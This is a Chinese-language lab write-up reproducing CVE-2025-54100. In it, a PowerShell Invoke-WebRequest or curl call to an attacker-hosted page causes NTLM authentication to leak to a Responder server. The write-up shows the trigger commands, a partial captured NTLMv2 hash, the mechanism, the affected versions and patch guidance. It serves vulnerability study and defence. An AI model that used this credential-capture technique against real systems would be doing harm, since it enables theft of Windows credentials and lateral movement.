CVE-2025-54100:Windows PowerShell 命令注入漏洞复现分析
一、漏洞概述
| 项目 | 说明 |
|---|---|
| 漏洞编号 | CVE-2025-54100 / GVD-2025-47564 |
| 漏洞类型 | 命令注入 / 客户端代码执行 |
| 影响组件 | Windows PowerShellInvoke-WebRequest |
| CVSS 3.1 评分 | 7.8(高危) |
| 利用条件 | 受害者使用Invoke-WebRequest或curl(别名)访问恶意 URL |
| 公开状态 | PoC 已公开,EXP 未公开 |
该漏洞源于 PowerShell 在处理Invoke-WebRequest请求时,默认调用 IE 的mshtml 引擎渲染 HTML/JavaScript 内容,攻击者可通过构造恶意页面触发客户端代码执行,进而窃取用户凭据或执行系统命令。
二、复现环境
- 攻击机:Kali Linux(运行 Responder 用于捕获凭据)
- 目标机:Windows 10 家庭中文版(版本 10.0.19045)
- 工具:
- Responder 3.1.7.0
- 简单 HTTP 服务器(托管恶意 HTML)
- PowerShell
三、复现过程与现象
3.1 系统信息确认
通过wmic os get caption,version,buildnumber确认目标系统版本为Windows 10 19045,属于受影响版本范围。
3.2 触发漏洞请求
在 PowerShell 中执行:
Invoke-WebRequest-Uir"http://192.168.1.31/poc.html"或使用 PowerShell 别名:
curl http://192.168.1.31/poc.html两者均返回 HTTP 200,并触发 IE 引擎解析返回的 HTML/JavaScript 内容。
3.3 凭据窃取结果
Responder 成功捕获到NTLMv2 哈希,关键信息如下:
- Client IP: 192.168.1.30
- Username: LENOVO-LWM\Administrator
- NTLMv2 Hash:
Administrator::LENOVO-LWM:051df5cf1729d59:BF64GBB0801F63CFA01BEEACF3E59AA8...
这表明漏洞成功触发并向攻击者服务器发送了当前用户的 NTLM 凭据。
四、漏洞机理分析
Invoke-WebRequest默认使用IE 引擎渲染响应内容,而非仅进行基本解析。- 恶意页面中嵌入的 JavaScript 可触发SMB/NTLM 认证请求,指向攻击者控制的 Responder 服务。
- 由于引擎自动执行脚本,无需用户交互即可发起认证流程,导致凭据泄露。
五、影响范围
受影响的 Windows 版本包括:
- Windows 10 1607 至 22H2(特定版本之前)
- Windows 11 23H2 至 25H2(特定版本之前)
- Windows Server 2008 ~ 2025 多个版本
具体版本号可参考 Microsoft 官方公告或漏洞详情文档。
六、修复建议
6.1 官方补丁
通过 Windows Update 安装微软官方发布的补丁,或手动下载适用于系统的安全更新:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54100
6.2 临时缓解措施
- 避免在 PowerShell 中访问不可信的 URL。
- 可尝试修改 PowerShell 执行策略或禁用 IE 引擎调用(需测试业务兼容性)。
6.3 企业防护建议
- 使用终端防护系统(如奇安信天擎)及时更新漏洞库并推送补丁。
- 对内部 PowerShell 使用行为进行审计与监控。
七、总结
CVE-2025-54100 是一个典型的客户端代码执行漏洞,利用 PowerShell 默认行为实现凭据窃取。尽管利用门槛较低,但实际危害严重,尤其是在域环境中可能引发横向渗透。建议所有受影响系统尽快安装补丁,并加强对 PowerShell 使用场景的安全管控。
备注:我的两个Win系统都中招了😄